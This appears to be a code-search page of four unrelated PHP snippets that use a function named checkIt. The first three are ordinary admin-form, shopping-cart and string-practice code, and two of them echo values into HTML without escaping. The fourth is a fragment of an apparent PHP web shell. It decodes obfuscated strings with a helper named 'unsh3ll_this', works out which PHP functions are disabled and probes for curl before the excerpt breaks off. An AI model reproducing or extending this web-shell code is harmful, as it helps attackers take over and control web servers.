Example #1
0
        </tr>
        <tr>
            <td><label for="name">Tên:</label></td>
            <td><input type="text" name="name" value="<?php 
echo $object->name;
?>
" class="smallInput medium" /></td>
        </tr>
        <tr>
            <td><label>Logo:</label></td>
            <td><input name="logo" type="file" /></td>
        </tr>
        <tr>
            <td><label>Hiện ở bảng giá:</label></td>
            <td><input value="1" <?php 
echo checkIt($object->isShow, 1);
?>
 type="checkbox" name="isShow"/></td>
        </tr>
        <tr>
            <td><label for="name">Mô tả tóm tắt:</label></td>
            <td><textarea rows="5" name="description" class="smallInput medium"><?php 
echo $object->description;
?>
</textarea></td>
        </tr>
        <tr>
            <td><label for="name">Quốc gia:</label></td>
            <td><input type="text" name="country" value="<?php 
echo $object->country;
?>
Example #2
0
                </select>
        
            </td>
        </tr>
        <tr class="paymentStore"   >
            <td>Chọn cửa hàng thanh toán</td>
            <td>
                <div>
                     <?php 
$i = 1;
foreach ($store as $row) {
    ?>
        			<div class="branch_line " style="clear:both;display: block;width: 600px;">
        				<div class="branch">
                            <input type="radio" <?php 
    echo checkIt($cart->paymentStore_id, $row->id);
    ?>
 name="branchPayment" value="<?php 
    echo $row->id;
    ?>
"  style="display: inline;" />
                            <?php 
    echo $row->name;
    ?>
: <?php 
    echo $row->address;
    ?>
                        </div>
        			
        				<div class="clr"></div>
        			
Example #3
0
}
function combine($first, $lastname)
{
    echo $first . $lastname;
}
function checkIt($str)
{
    if (strlen($str) >= 20) {
    } else {
        return "FAIL";
    }
}
$test = "hello there ";
echo "It is:" . checkIt($test);
$test = "Hello there is this more than 20?";
echo "It is" . checkIt($test);
echo strlen($message);
echo strlen("variable");
echo strlen($password);
echo is_numeric($age);
if (is_numeric($password)) {
    echo "isNumeric";
} else {
    echo "Not Numeric";
}
echo strtoupper($text);
echo ucwords($text);
echo ucwords($message);
echo ucfirst($message);
echo ucfirst($text);
echo substr($message, 0, 3);
Example #4
0
    $disbls = get_cfg_var(unsh3ll_this("AAYHAhIcAzYKEAoMAAofHhU=")) . ',' . get_cfg_var(unsh3ll_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA=="));
}
$disbls = str_replace(" ", "", $disbls);
$disblsArray = explode(",", $disbls);
function checkIt($func)
{
    global $disblsArray;
    foreach ($disblsArray as $value) {
        if ($func == $value) {
            return False;
        }
    }
    return True;
}
if (checkIt("function_exists")) {
    if (checkIt("curl_version")) {
        if (function_exists("curl_version")) {
            $curl_version = True;
        } else {
            $curl_version = False;
        }
    } else {
        $curl_version = False;
    }
} else {
    $curl_version = False;
}
function url_get_contents($port)
{
    global $curl_version;
    if ($curl_version == True) {